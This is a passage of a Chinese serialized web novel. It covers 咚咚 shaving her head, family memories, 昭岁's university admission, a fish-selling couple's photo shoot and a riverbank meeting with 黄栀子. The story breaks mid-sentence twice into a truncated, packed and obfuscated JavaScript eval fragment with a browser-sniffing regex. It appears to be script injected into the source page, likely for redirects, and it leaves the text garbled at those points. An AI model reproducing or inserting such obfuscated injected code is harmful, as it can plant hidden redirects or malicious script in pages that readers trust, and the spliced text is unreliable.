等到咚咚摸着火腿肠要撕开时,咪咪已经不在了。这一折腾,她更饿了。 罐子碎得不算厉害,她捧着拿出来,就放在破裤子上,去掏酸黄瓜,举起来吃。还不忘对着镜头展示:“自家腌的酸黄瓜,还没吃过呢,今天忘记献给佛祖了,就让我尝尝咸淡。” 刚咬一口,味不习惯,完全性失去表情管理,想吐出来,还是咽下去了。 不爱吃辣的酸的,就爱甜的这口,吃个洋葱还能当享受,生吃一截酸黄瓜对咚咚太重口。她犹豫了一下,嘴里分泌唾液,想要第二口,绝对是味觉引诱,不是真想吃。 总不能为了吃根酸黄瓜,把苹果呕出来。 不过没有容器能装,她把只能拆开自认米饭的包装,把袋袋包装取出来,一根一根排好酸黄瓜。 应该今天献给佛祖的。 这一通下来,咚咚睡不着了,出了帐篷。她找到三姥姥常看的健身操,打开播放,开始学着跳起来。真运动起来,不是三姥姥不标准,咚咚感觉这的确不合理,她较劲做了几个,有点怀疑自己了。 她从地上起来,才发现面前的缆车索道在动。 月光透过来,半身的大佛躺在两个操作轨道之间,缓缓上升。这顿佛还没完全雕好,下半身时浑圆的木料,只有鼻以上的头部清晰。 咚咚跑起来,往上,想靠近大佛的底下,看能否得到垂怜的沉香屑。 可不是一条路。 行人的台阶远得很,真要到缆车底下,得往未开发的荒草里钻。咚咚真钻下面了,路一点不好走,好在幼时走山路不少,可还是追不上。 轨道“哐当哐当”停住了,咚咚一鼓作气跑去,停留在佛像下。月光投下来,她关了手电筒的光,整个人被佛的影子罩住。 她双手合十叩拜:“保佑保佑保佑……” 附近还有孤坟在,摆着花圈反光,比月光还亮。这些天登山,路上碰到的野坟不少,都是在荒郊野岭的。昭岁总是在路过时拿着树枝念念有词,大意就是说“无意打扰,只是路过”的意思,咚咚这会儿也捡了树枝,学昭岁念着。 到达山顶时,工人们正在卸货。山顶的平台离野地有高差,围着栏杆。他们发现了打着电筒的咚咚,问她怎么掉下去的,想拉她上来。 咚咚说:“那拉我一把吧。” 有人扔了一个绳子下来,另一人骂他这怎么行,于是找了个是个三角梯,慢慢放下去,让咚咚爬上来了。 “怎么掉下去的?”那人说,“这边坟多,晚上还是小心点。” “我就是追着佛像上来的。”咚咚清理了一下黏在裤子上的杂草,这是睡裤,只到膝盖,光腿的一截沾了泥灰,“为什么只雕到一半?” 工人说:“我们只是干活的。” 没得到答案,咚咚遗憾。观景台小卖部没开,营业的就只有自动售卖机,她挨着买了各样的饮料,数着人头,分给工人们,当作答谢。 这是俯瞰下去,佛寺没那么大,比起在树上拍照的图,是另一个角度的。寺庙里的灯还亮着,摇来摇去的,她很难确定哪边是齐美玉休息的厅房。 木佛还固定在木台上,一双眼睛盯着她。 咚咚看着,有了决定。 再下去到扎帐篷的地方,咚咚没睡得的心情了。她把睡袋帐篷收好,有防水袋,也不怕放进背包里,背着绕到佛寺的巷道里,再往下山下走。 没想到下山的路上,还有半夜登山的人,她心有隐忧,担心是又碰到病人家属,走进才发现是打扫清洁的阿姨们。心情也没舒畅多少。 走到山脚,时间差不多四点多。这个点很尴尬,夜市刚散,早市没开,街边上没什么人。 咚咚在地图上找了隔得近的菜市场,走过去。 期间下起了绵绵雨,滴在身上,成一颗颗小珠子,拍拍没散,反倒是洇了衣服。 到菜市场,她问出早的摊主,理发的地方在那。摊主指了面前的理发店,咚咚强调说菜市场理发的,摊主打量她两眼,说往里走靠近卖鱼的铺子。 咚咚没立刻走,看了一眼理发店的营业时间,要十点才开门。等到那会儿,都日上三竿了。 到卖鱼的地方,腥味重,这腥味和铁腥味不太一样,带着俗世的腥。 有只猫过来,正在吊着舍弃的鱼头,顺着水管爬上楼顶,在吃鱼头。这花色,咚咚确定了几眼,不是咪咪。又觉得不该这么想,太玷污了。 等了会儿,王家鱼贩门店门口有鱼贩出来拉货,看人来,问她买不买鱼,咚咚说不买,又问了一下理发的人多久来。 鱼贩说:“来得不巧,赶集天才来,今儿不赶集。” 咚咚懊恼。 鱼贩问:“市场不就有一家理发店吗?” 咚咚说:“开门太晚了,我来不及。” 鱼贩盯着咚咚的相机,看她一身行头,问:“你拍视频吗?” 咚咚说:“拍。” “噢,”鱼贩手伸在裤子上擦了擦手,还是觉得不干净,又去围腰里的毛巾,拿出来擦了擦,“我知道她电话,帮你电话问她。” “不用了。”咚咚认为没必要在人家没上班的时候,差着人家上班。 “没事,她能来。”鱼贩笑得很腼腆,拿出手机在找号码,“你等我我打个电话。” 没等拒绝,鱼贩拨通了电话。现在才不到五点,那头接得很快,鱼贩让人过来,又扯着说快点,拉扯两番,他挂了电话。 咚咚说:“不要打扰了。” 鱼贩说:“我让我老婆送你过去。” 说是“让老婆送去”,真上面包车,鱼贩夫妻一块来了,店给关上了。后排没座位,咚咚坐在副驾驶,王姐在开车,王哥拿了个小马扎坐在后排。 “小妹剪个啥发型,你尽管给她提。”王姐说。 “我想剪个光头。”咚咚说。 “咋了?病了?”王姐问。 咚咚想说太热了,话到嘴边说:“非得要理由吗?” 王姐停了一下,说:“不需要。” 这让咚咚舒畅了许多。 王姐有求于咚咚:“一会儿剪完,你赶时间吗?我想让你给我们夫妻拍张照,你的相机很专业,拍照肯定好看。” 咚咚看了眼时间,说:“必须今天吗?这也耽误你们开早。” 王姐说:“怕你赶时间。” “过两天吧,留个电话给我,我来拍。”咚咚说,觉得口头的承诺太轻了,很像是搪塞,“这两天我都在怀寺那边,不会走,下山的时候再来给你们好好拍。” 俩人送咚咚的地方,在一个就居民楼下,停车时,王哥电话催着那头准备好。 雨还没停,更大了点。到居民楼下的车棚,理发师准备好了,就是背在腰间的行头,放着个塑料板凳。 “怎么下来了?”王哥说。 “家里剪了不好收拾。”理发师头型是板寸的女人,身子窄窄的,皮肤蜡黄,脖子上帮着一根红绳,什么都没挂。 “我说的不是这个。”王哥说。 “算了,算了。”理发师说。 “算什么!”王哥很生气,又对着咚咚说,“下面不好洗头,上去洗个头,怎么样?” 咚咚想着昭岁强调的安全情况,没动,就说:“就在这吧,我等会自己去洗手间冲一下。” 咚咚把云台夹在花台上,就这么坐上板凳,理发围布围上来,理发师打开推子给她剃。 “今天是个好日子啊。”理发师说。 咚咚没回。 “等会儿我也要上山去,向观音求保佑。”理发师说。 王哥在一旁“哼”了一声,王姐扯住他。她把店的电话留给了咚咚,说提前电话过来。没多久,开着面包车走了。 咚咚其实有感受到可能理发师有事,但对方没说,她便不主动问。 这一带有积水多,蚊虫也多,剃头的时候飞来飞去。咚咚突然想,蚊子咬齐美玉的话,齐美玉是不是不会拍死?那能睡个安稳觉吗?咚咚睡个觉,总是被蚊子欺负。蚊子发音是“嗡嗡嗡”,还撞钟的余声很像。 不对,寺庙里烟这么足,哪能有什么蚊子。 眼镜握在手上,咚咚的视线范围不太好,看不清楚相机里的画面,只能低头见着头发一股股往下掉。这会儿天蒙蒙亮,边缘的地方还是黛色,中心已经泛白了,慢慢漾开,一瓣一瓣地亮起来。 黑发是障目的流动引力场,这卸下来的碎发是干扰了宇宙,头皮亮出来,圆润的大脑袋是最新发现的小行星。 一想,完全是停不住。那大钹不就是形似宇宙飞船吗,防蜂服正好是宇航员的服装,一路上不就是在宇宙旅游。 就这样,咚咚终于被观测到了! 理发师用刷子弹弹她后颈和头上的碎发,又清理落在围布上的,解开了咚咚后颈的活结。 “你的头型很饱满。”理发师说。 咚咚戴上眼镜,去摸头。说是光头,还有些刺刺的头发,可能不足毫米,有种摩擦感,很像是一种颗粒物。不会是陨石的手感也是这样的吧!她被自己想象逗笑了。 理发师说价钱,咚咚说多加五十算加班费,理发师说贵了就要三十吧,咚咚就付了三十。 她又问:“尼姑刮头是怎么样的?” 理发师说:“我没见过。” 咚咚一拍脑袋:“是不是还有戒疤?” 理发师说:“你要出家?” 咚咚问:“戒疤是要用刀片刮吗?” 理发师说:“你要的话等等,我没带下来。” 咚咚说:“算了,谢谢。” 理发师问:“你多久上山?” 咚咚说:“现在。” _ 起床喝水时,昭岁发现祁孝逑坐在阳台上玩手机。她喝完水回去,祁孝逑转成坐在了客厅的沙发上。 昭岁开门回房躺下,摸着手机在玩,班级群在讨论多久能有录取结果。这才六点啊,总不能慌得一天啥事不做吧。 她眯了一会儿,确实睡不着,又不太想起来。干脆躺着看动漫,这看得断断续续的,看了几分钟就切出来去看群消息,她有点烦,断了网,在玩俄罗斯方块。 两局低分让她彻底放弃,把手机丢在床上,起来换了身衣服,打开房门出去了。祁孝逑还坐在沙发上,这会儿点开了电视机,没开声音,里面播放的是地方台的早间新闻。 昭岁坐了下来。 父女俩隔了两个人的距离。 祁孝逑起身来,去厨房倒了一杯水,再坐下时,靠着昭岁稍稍近了一点。 电视里播放着是提醒居民不要下水嬉戏,进入河岸涨潮有危险,江边一带都封路了,车行的话部分区域需要绕路。 外头的确在下雨。 祁孝逑又起来了,把阳台门打开,关掉了客厅的空调,让风进来,有点闷热。再次重新坐下,没再近,还是保持了一个人距离。 这次说话了。他说:“给老板节约点店,反正等会要出门。” “噢。”昭岁应了一下,脱了鞋稍稍往后靠,靠着沙发的后面。想玩手机,又怕,掏了个枕头抱在怀里。 “贵发的事情,我昨天打电话教训过了。”祁孝逑说,“真不顺眼,就当他不存在,别理他。” 昭岁心头“呵”了一声。桂花糕连告状都不敢告状映年,还是说她。这种小人杜撰强塞给她的“荣誉勋章”,让她觉得不太爽。 “你出远门,真有事,五姨还是能帮上忙的。”祁孝逑说。 “盼着我出事吗?”昭岁不爽。 “爸爸不是这个意思。” “……我要当兵。” “我和你妈商量过了,支持你。” “……不是征求你们的意见,是通知。”昭岁头埋在枕头里,眼泪已经飙出来了。她恨自己泪失禁。 过了会儿,昭岁一鼓作气道:“而且我不会结婚。” 感觉到祁孝逑的目光过来,昭岁又定定重复一遍:“我不会结婚。” “我和你妈妈分开……” “不,不,不,你别说。你俩的情况,不重要了。”昭岁打断了祁孝逑的话,表情认真,眼泪包不住还在流。听的是自己的事情,这样却让她不自觉地心疼起咚咚。 真的不重要了。 从前一直很像要一个答案,问不出口的。这去深究,似乎总是带着刃。不管二人说什么,是真心实意还是虚与委蛇,以昭岁的性格,她绝对还会延申着继续想。进入一个新的猜忌谜团。 她就是这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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咚咚没回了。即便她知道,马铁的担心可能是真的,虽然这份担心更多是老之将至的不安。一夜没睡,本来心突突的,看着这字,反而平静了。 想了会儿,她回了电话过去,马铁接通了。 他叫了一声“冬冬”,咚咚应了,没说话。 父女俩沉默了会儿。 马铁问:“你那边在下雨吗?” 咚咚说:“对。” 马铁说:“带伞没?” 咚咚说:“有雨衣。” 没话聊了。 叹口气,咚咚问:“你想我结婚吗?” 马铁说话变得小心翼翼:“你恋爱了?” “我问你的是什么?” “……他人怎么样?” “算了。”咚咚想挂电话,又被马铁唤了一声,“还有什么事?” “奶奶想你了。” “我没接到过她电话。” “她想见见你,等你哪天有空去看看她。” “想见我还要我跑一趟?” “……” 咚咚真平心静气了。 距离她这根弦断掉,已经是四五年前了。 马铁谈业务,喝醉了酒,栽在马路边的绿化带上,手里的啤酒瓶磕破了。咚咚找到他时,人还在草里滚了一圈,惊得里面的虫蚁都往外在蹦。 他对着天举着手:“她一直瞧不起我,现在她也这样了……” 那会儿家里回收了从前的旧房子,重新住了进去。实际这房子是三姥爷厂里留下的,后来挣了钱,齐美玉给三姥姥置办了一套新的居住,这房空出来一直在出租。没想到会回来。 齐美玉总觉得装修麻烦费事,大不了出租一个月少几个钱,就没管这房子的事情。租给的是一堆老夫妻,平时也不太收拾,收回房子时家里乱糟糟的。墙角乳黄受潮,等身的地方贴着街边上发来的传单,咚咚撕开一个角,墙灰往下掉,她又想贴回去,怎么也不牢了。那个角的靓号号码,风一吹,就在招摇着。 生意人是喜欢靓号的,齐美玉的好就连着五个相同的数字,没改过。代价太大。咚咚觉得,她真怕一换,就回不去了。 老鼠成了常客,来无影去无踪,踩着油烟管道全是引子。马铁接了家里灭鼠的人物,咚咚常常看见他勾着屁股趴在厨房,不知道是不是在观测管道。 其实咚咚一度怀疑马铁是在冒领功勋,那些战绩都是假的,不然怎么还会有,反反复复。齐美玉倒是高兴,和马铁碰碰杯鼓励他继续。 后头,马铁可能也是倦了,觉得没完没了的。斗志换成了粘鼠板,黏到虫蚁少,老鼠没有,倒是三人中过几次招。拔出脚,就把拖鞋连带着粘鼠板扔了。 一次马铁出差的日子,粘鼠板真沾上了老鼠。 母女俩不知道怎么处理。咚咚更笃信了,马铁压根就没有杀死老鼠,这要怎么动手?刀割了都怕浪费刀。 那天晚上,都躺下了,齐美玉心血来潮一样,开始收拾房间,翻箱倒柜整理卧室的衣服,把马铁的衣服都扔了出来。咚咚以为是要洗,结果真是洗,齐美玉撕成了布条用衣服把厨房和厕所刷干净了,只是那只粘在胶板上的老鼠还是放在客厅的地板上。 咚咚困,问:“妈妈不能明天做清洁吗?” 齐美玉把那一墙的传单全都撕下来,连着白灰落在了木制沙发上,她喘着气说:“我买的双色球中了,票不见了,你也来找。” 她们在老鼠的嘶叫中找了一晚,天没亮,马铁风尘仆仆地回来了。齐美玉说不找了,让咚咚去睡觉。 她困,真睡着了,醒来收拾出门了。晚上回家,马铁没在,咚咚问齐美玉兑奖没,齐美玉说过期了。咚咚惋惜,她下午还特意跑去彩票店,查了一下双色球的奖池。 咚咚问:“老鼠呢?” 齐美玉说:“你爸不敢动,我淹死了。” 咚咚跑去浴室一看,马铁躺在马桶旁边,还在掏下水管道。他说死老鼠滑进去了。这是齐美玉给马铁的惩戒,咚咚确定。 同一个冬天,齐美玉也粘着咚咚,二人捆绑在一起,站在船头。 咚咚醒来时,她贴在齐美玉的胸膛,太紧了,她连抬头的空间都没有。 “你醒了?”齐美玉问。 “妈妈。”咚咚叫了声。 “你爸居然真行了。”齐美玉说,“我还以为是靠那女人呢。” 齐美玉松开了扣在一块绳结,结了一会儿,还是咚咚自己解开了。 “咋了?”咚咚的话还没落下,就看着齐美玉一跃而下。 齐美玉砸在了水里。 在涛声中,连声音都消弭了。 咚咚惊叫着要跑进船舱,脚被绳子绊倒,裤子剌了一下,又站起来继续跑。 义工们打扫完清洁,在殿里逗猫。咚咚看了一眼他们手里的逗猫棒,是个鸡毛做的。这信号,比撞见咪咪吃荤要稍稍低一个等级,但让她心头笑了一下。 好像终于找到了证据。 又想,说不定刮刮乐蹭蹭咪咪能刮个大奖出来。她真坏啊。 剃度开始了。 一排人跪在蒲台上,齐美玉就在左数第二个。 咚咚自雨中走来,摘下帽子。二人实现交汇那一瞬间,咚咚试图从齐美玉的眼神中捕捉到一丝惊异。 可是她还是平静如水,柔和地看着她。 咚咚瞬间卸了劲。她迫切证明的“不在乎”,在齐美玉真正的“不在乎”面前,显然不堪一击。 光头也好,石墙也好,猫吃荤也好,都是她一个人的事情。刮刮乐不会出现奇迹,奇迹也不会改变现状。 “原谅”注定是成了单方面的轴向。 41.第 41 章 录取比预想中的波折小太多了。 一家人紧张了一整天,睡觉前还在刷呢,夜游蝉市回来倒头就睡,第二天到中午,拟录取的结果出来了。 不是一志愿,顺着滑到第四个,专业就是人工智能。学校在北方,齐美裳的重点是就在距离齐美棠不过百里的城市,好像这能让她安心许多。祁孝逑又把专业跑出来查了一遍,对于他的账号,更多的推送是无人驾驶汽车的可行性。他说:“我会不会退休前下岗?” 当时还是拟录取,昭岁心慌,怕退档。她甚至没心情去关心二人是假装开朗还是真心祝福。心慌刷群,都说拟录取基本没跑了,都在局中,听着总觉得是安慰自己的。 姐妹群在说新下单了那款早就看好的包,家长奖励给她。黄柠檬晒了录取,有人问她怎么去那,除了大学好,别的没啥好。黄柠檬发语音说:“所以才有建设空间。” 聊着聊着,聊起昭岁当兵的事情,有人问她:“真考虑好了吗?” “当然。”昭岁回。她不觉得,这是一个需要很大思量的决定。 黄柠檬说:“那你以后就是学妹了哈。” 昭岁说:“……你成年了吗你,给我当姐。” 黄柠檬说:“别提,开学天,我生日。” 昭岁问:“这么快就知道?” 黄柠檬说:“看学校校历啊。” 昭岁想着,也打开录取院校的校历,居然在八月底。这怎么比高中还早。 黄柠檬说:“鹊市开学普遍晚点,鹊大更晚。” 昭岁看着鹊大二字,还是切出来,在联系人找到了大霜的名字,点开消息,进朋友圈。这人还是没晒拟录取截图。 鹊大的网球很好,大霜真要考来鹊市,应该就是去鹊大。映年也是鹊大毕业的,她俩都比自己优秀。 计划里是从蝉市往螺市走,去骡县祭奠刘海洋,既然去了,不可能不去找大霜的。 就是要想好怎么开口。 说起来,上次映年推送给她加了以歌,两人的对话如下。 以歌:早上好。 昭岁:早上好。 结束了。 齐美裳可能错判了昭岁的紧张,找到昭岁谈,特意让别人给了母女俩独处的空间。 晚间没什么风,阳台暴晒了一下午,尚有余温,闷得慌。 蚊虫嘤咛飞舞在房顶的白灯上。 母女二人站在其下。 昭岁以为齐美裳是想劝“别当兵”,她几乎先发制人地说:“我已经说过了,我要去。” 昭岁不看齐美裳的眼睛,不是害怕齐美裳的压力,而是担心在这双眼睛中,读出和李立沐、大姥姥若出一辙的溃败。她可以妥协,但不能溃败。 没想到齐美裳说的是:“我看过了,你的分差军校线不多。” “什么意思?” “去年你爸生病,我状态不好,也影响了你学习。”齐美裳检讨起来自己,“如果没那情况,你可能够的。” 昭岁有点招架不住:“我就这水平,虽然不高,但也没多低的。” 齐美裳说:“我和你爸商量过了,如果你真想走这条路,读军校更好。如果你愿意,其实可以再复读一年。” 昭岁沉默了会儿,警惕这份感动,她硬邦邦地说:“你还是不满我去北方。” 齐美裳沉默,昭岁已然读出答案。 有苍蝇混在蚊虫中,对着灯罩横冲直撞,有“砰砰”响声。 “我不觉得想让孩子在身边是什么错。”齐美裳很坦诚,转口也说明,“但你要去北方,我也不拦你了。” “你没办法吧。” 齐美裳觉得有意思,这场谈判似乎跨越了三十年,从前也在母女之间上演,那会儿她比昭岁还要倔强。 她不希望昭岁这样,表情温柔:“不止结婚,很多事情,你都可以自己决定的,也不用通知我们了。” _ 三姥姥上山送完东西,联络咚咚,才发现她整个人都在发烧。 下山的缆车上,三姥姥电话拨过去,没接,又连续拨了几个,齐美玉终于接通了。她劈头盖脸一顿骂,缓口气时,那头才有义工的声音:“机主没在。”她看着电话界面,还是那个靓号。 咚咚输液两天,终于缓过来了。 咚咚没加入齐家的旅游队伍,拨通了王家鱼贩的电话。那头很惊喜,问她什么时候有空,可以按她的时间来。咚咚想说可以等鱼档口关门后,临到口顿住,转口问:“方便拍一天吗?” 四点钟开始起网,一波波鱼在池里乱跳,全部装进蓝色的塑料桶里,这桶有货轮的宽,高度到咚咚的胸下,一排排全是。王哥和王姐一人一边,踩着搭在车上的两个木板斜坡往上挑,一步一步很整齐,车厢都在抖动。 咚咚举着相机在拍,镜头边缘沾了些水,她没管,带到两人弯腰上去,勾腰出来,面上都露出腼腆的笑。 “这边叉车不好过来,都是人搬的。”王哥说。 其它车都是装两桶,王家的车只能装一桶。本来后方的座位都卸下来了,这会儿装了一个后座,和那次去咖啡店找仙儿很像,特意装的。 不仅装了,还打扫了一遍。可这车,再怎么打扫,也掩不住风霜。 王姐看出来咚咚的过意不去,说:“今天正好要去朋友家吃饭,早点卖完早点结束。” 事实上,今天是赶集天,这完全不够卖的。 等到回鱼档口后,王哥呆站了会儿,又把后头的坐垫卸下来,和王姐商量一下,又独自开车往进货的地方出去了。 果然,咚咚还是太天真了。起止两桶,别家店都是四六桶的。 卖鱼也不是一件轻松的活。 天亮了陆续有人来,王姐一人顾摊,捞鱼、杀鱼、算账都得她来,手不方面找钱,就拿个沥水篮让顾客自己给钱找钱。 咚咚镜头对着沥水篮:“不怕多拿吗?” 镜头转向回答的王姐:“多拿也没法呀,就晚上算账的时候骂两句。” 咚咚笑。她还以为王姐会说“都有难处”呢。 王姐问:“你留几天?” 咚咚说:“明天估计就走了。” 王姐说:“这几天涨水,不然给你钓两条吃,那可鲜。” 咚咚说:“我吃啥都香,不挑的。” “那不一样,真香的。”王姐说,“我家闺女平时都不爱吃鱼的,就好那口。” 咚咚没说话了。她没有挑食的机会,渐渐觉得吃啥都行的。 日出起来,就没闲聊的时候了。咚咚举着相机,没就鱼档口拍,想起王姐在车上说要招待的事情,出去菜市场一圈,买了些菜,回到鱼档口时,旁边的理发摊子也支起来了。 那不该有摊子的,都占道了。 还是前几天给她剃光头的理发师。招牌上写着的是八元理发,生意不错,排队的人多是老年人。她镜头晃过去,放了下来。 来理发的人,有凳子坐下,理发师在四周挪动。在她挪动到前面时,咚咚才看见墙边靠着也有一个凳子,上面用汽车安全带一样绳子,捆着一个女孩。 咚咚明了了理发师说要在好日子拜佛的意图。 回到鱼档口时,王哥已经回来了,他就在地上支着菜板在杀鱼,笑着招呼说:“买菜干嘛呢。” 咚咚说:“不是要招待我吗?” 赶集天,基本忙到下午三点。王哥拿着菜先回家做饭了,王姐留下来收拾档口。有人来收鱼杂,很便宜的价钱卖掉,一块抬到了车上去。 下车时她松懈着揉了揉腰,问咚咚:“你多大了?” “二十。” “看着不像。” “是看着小还是看着大?” “你想看着大还是看着小?” 咚咚笑了:“大小不重要。” “你是放暑假吗?”王姐坐下来,把靴子脱掉,脚上被箍了很深的红印,她从裤兜里掏出袜子来穿上,又去刨放在柜子上的球鞋。 “不是,我没读书了。” “怎么不读了?” 咚咚凭空生出了委屈的感觉,她靠着相机的取景器,眼镜弹到了,磕了一下鼻梁。她说:“不想读了。” 齐美玉在江上浮了起来,浪潮托着她不肯下坠。她认定了是命不该绝,至此有了信仰。 咚咚才是浸没的那个,高中退学了,如果不是三姥姥强硬拉着她再去职校报道,她可能不太想离开安全领域。 王哥做饭,味道一般。可能是鱼档口带着腥味,延绵到了王家,整个菜吞下去,都带着鱼的气息。咚咚还是不挑,吃得很开心。 王家条件普通,有个楼梯的两居室,家具陈列普普通通,唯一有意思的是家里摆放着一个废弃冰柜,里面在养鱼,金鱼。 观赏鱼摆在冰柜里,要凑近了,才能俯视看下去。 这金鱼养的很大,快赶上档口的草鱼了,可能就着金闪闪的皮肤保住了姓名。 “小孩养的。”王哥说着,推着冰柜,往前在走,到阳台上去了,“方便推着出来晒太阳。” 咚咚想起苗光红那废弃的鱼缸,那么大,估计没撤下还是觉得是件力气活吧。 吃完饭,夫妻俩让咚咚休息了会儿,轮流洗了个澡,换了身衣服。出来时,王哥还有点害羞,捂着脸,王姐自然地牵着他。 两人穿着是配套的情侣装。王姐的是一身红色旗袍,王哥的是唐装,身上有暗红色走线。 “你说再约,我就新买了一套衣服。”王姐说。 拍摄地点也是精心挑选的。 取景器里,江边落日,灿金的天际边缘带着蓝边,剪影在拥吻。 晚饭王哥想带着咚咚去拜访朋友,王姐让他先打电话问问,问过之后,那头拒绝了。 王哥说:“还是去一趟吧。” 王姐说:“算了。” 王哥说:“好不容易呢。” 王姐看向咚咚,又说:“算了。” 咚咚问:“理发师吗?” 王哥点头,也没说话,头低着。王姐说:“可能是不好意思。” 夫妻俩昨晚就说好了这情况的处理,这下没没争执,只是嘘唏两声。晚饭时,还是没去理发师那里。王姐还是联系朋友,备了一条江鱼,端上餐桌专门移到咚咚面前让她试试。 咚咚夹了一筷子,没吃出好坏,和普通的鱼差不多,不过在王姐询问时,她还是说:“确实好吃点。” 告别时,王哥想送咚咚回酒店,咚咚拒绝了,就在钻进了餐厅一条街的网吧。 她重刷了一遍录像,发现有一段多余的。那是中途去洗手间,可能忘记按到了录像按钮,画面对着的是菜。王姐王哥的声音在画外,一声不漏的收录进来了。 王哥说:“买个帽子吧。” 王姐说:“帽子带着多热啊。” 王哥说:“那怎么办?” 王姐说:“我昨天上山求的,怎样?” 王哥说:“哪有求小名的。” 王姐说:“小名怎么了?” 咚咚去翻满是酸味的背包,在一侧找到了一个香囊,里面是一串刻字的玉石,上头雕刻的是“咚咚”。 _ 江潮退去,警戒线撤销,河滩再次裸露出来。 佛身中间开了一条裂缝,吐出来一堆泥沙,里面有虾蟹在外逃。 工人们搭了索架,开始了新一轮的抢修。 离开前一天,齐家人坐在江边合影了一张。大姥姥遗憾应该到达当天合影的,齐美裳听着没说话,三姥姥抢答说:“是,以后这样,不然早几天不做,你可能挂了也不一定。” 一家人沿着江边在散步。表姐家的小孩想去河滩下面捡石头。昭岁不想去的,咚咚想去,她们便一块下去了。 昭岁故意放慢脚步,咚咚下了个台阶等她,昭岁往下走了两步又停下,咚咚继续走两步,二人就在一两个台阶上停停走走。 映年已经同齐美裳走到下面去了,转身看着她俩还在玩。 映年:“干嘛呢,下来呀。” 咚咚:“你姐叫你下去呢。” 昭岁:“你先走。” 咚咚走了两步,停下头,转头果然看着昭岁的手下来,搭在她的头上。 咚咚比她稍微高点,不是高低位,她就怕咚咚会躲过去。既然被抓住,昭岁也不掩饰了,放在咚咚的头上摸了又摸,刺刺的,磨砂的质感。 咚咚:“摸够没?” 昭岁:“没有。” 昭岁又摸了一把,收回手:“你也当尼姑去了?” 住院的事情,三姥姥没和齐家人讲。 咚咚双手合十放在胸前。 昭岁调侃:“有模有样呢。” 咚咚抬头说:“我要咒你。” 昭岁笑:“呀,大师饶命。” 两人笑起来,往下跑去。 _ 鹅卵石垒了一个小山包,往上放石子,整个石头山都塌了下来。 有颗落在光脚上,黄栀子脚一抬,甩着石头,一手握住了鹅卵石。她重新弯下腰,开始垒石头。 每年夏天这时候,她都要来祭奠一次。 她脱离人群很久了。船上没余留下来平辈不多,但知道她这每年习惯,都以为是她有什么故友离去。 这些人哪知她的兴趣。 不止这些,黄栀子很清楚别人怎么看她的。刚这样生活时,稍稍关系近些的人会说:“在野外住着,总归是不方便的,冷了热了都容易病 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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黄茉莉带着黄念在山下也守了半个夏天,看着这一刻也明白了,就是预备好的直升机救援没派上用场。黄茉莉的秘书通知丧葬事,很快带走了母亲。 上车前,黄念问:“不一起吗?” 自黄栀子选择这样生活后,黄念改口叫了黄茉莉当妈。三人已然习惯了。 黄栀子:“你知道我的,那都是死了的事,就没必要了。” 黄茉莉突然笑了:“等我哪天倒闭了也来找你。” 黄栀子认真说:“那也太为难我了。” 黄念说:“你死了我也不给你烧纸。” 黄栀子说:“嗯。” 过了会儿,黄念又说:“我把你和姓张的埋一块。” 黄栀子愣住,上了车,陪完整场葬礼。 她对黄念说:“茉莉对你更好,知道吗?” 黄念说:“还要你说。” 黄栀子满意了,看着小姑娘泪飙出来,没去擦,又说:“我才不在乎死了和谁买一块。还有,他肯定死我前头。” 活动的轨迹,不是一直在山头。 她路线流动,往前在走,不管东西南北,随性来穿梭。可到六月的时候,总归会来蝉市。 黄栀子只管活人的事。 这石头搭碑,可没旁人想的那般哀悼。 “呀,这颗石头漂亮。”一旁有人捡起来她掉落的石头,两指握着,与她对视,“呀……” 黄栀子的记忆力很好。 她们见过。 “咋了?”咚咚过来,低头看见了黄栀子,“……呀!” “见到啥了?”映年也凑过来,“……呀。” 撞一块了,昭岁不知道怎么开口。 面对三人的局促,黄栀子无所谓,她先说了:“这石头哪漂亮了?” 昭岁有石头摊在手心,立起来,从平面上看着:“这就是一个牙齿啊,牙齿上面有个叉子,正在凿牙。” 黄栀子看着那块石头,不知道昭岁怎么联想出来了的。她又把昭岁手里的石头拿过来,继续垒上去,捡了一块新的石头,问她:“那这个呢?” “这是在喝奶茶的树袋熊。”昭岁怕她不信,手指随着石头边缘摸着,“这是脑袋,这是奶茶杯……” 黄栀子听着,笑起来,再次收下石头,拿了一个新的。 二人似乎乐此不疲地在做想象游戏。 咚咚在一旁也笑:“你要是不当什么艺术家,我真觉得埋没你了。” “你搭石头房子干什么?”昭岁问黄栀子。 这次,黄栀子笑得更大声了。 她说:“这是墓碑。” 三人:“啊?” 黄栀子转头指着一旁稳坐如山的大佛:“你看那佛,是不是有个缝?” “嗯。”三人点头。 “我就是从那缝出来的。”黄栀子笑。 咚咚心道,再怎么的野人,也不至于引经据典搞些这种名堂。名著她可是读过的。 黄栀子兴致很好,是昭岁的各种石头符号带来的。她不介意分享往事。 “玩洞穴探险,那会这里的江滩没出来,潮更高,我进了洞出不来,困了快一周吧,救援出来。”黄栀子讲起这件事情的时候,表情轻松,讲起话很诙谐,“在里面我发了好多誓,什么一生荤素搭配啊、一生前任替死啊、一生不要太穷啊……啊,觉得发誓真没意思,死了真不好。” “我想说家大业大这么多,荣华富贵我还没享受多久呢,咋就挂了。” “真出来之后,我就说,我不上班了。我不要这么活着,感觉早出晚归的,没有价值的。” 昭岁很受启发,转头问映年:“你是不是发誓了?” 映年:“……不是。”不要什么公式都往我身上套。 咚咚不理解,她要有钱,绝对不会过这种日子。又想,黄栀子是真享受过才觉得无所谓,自己是没享受过才贪图。而且,她记得黄栀子还有个女儿。既然有在成长期的女儿,这些年黄栀子怎么过的?不过她没问。 咚咚说的是:“为什么要贬低一个勤勤恳恳生活的人呢?” 黄栀子抬头看咚咚,笑了。往常来说,都是旁人来苛责她的生活,当她去评价旁人的生活,收获了这样的质疑。黄栀子说:“我也是勤勤恳恳的,方式更原始而已。” 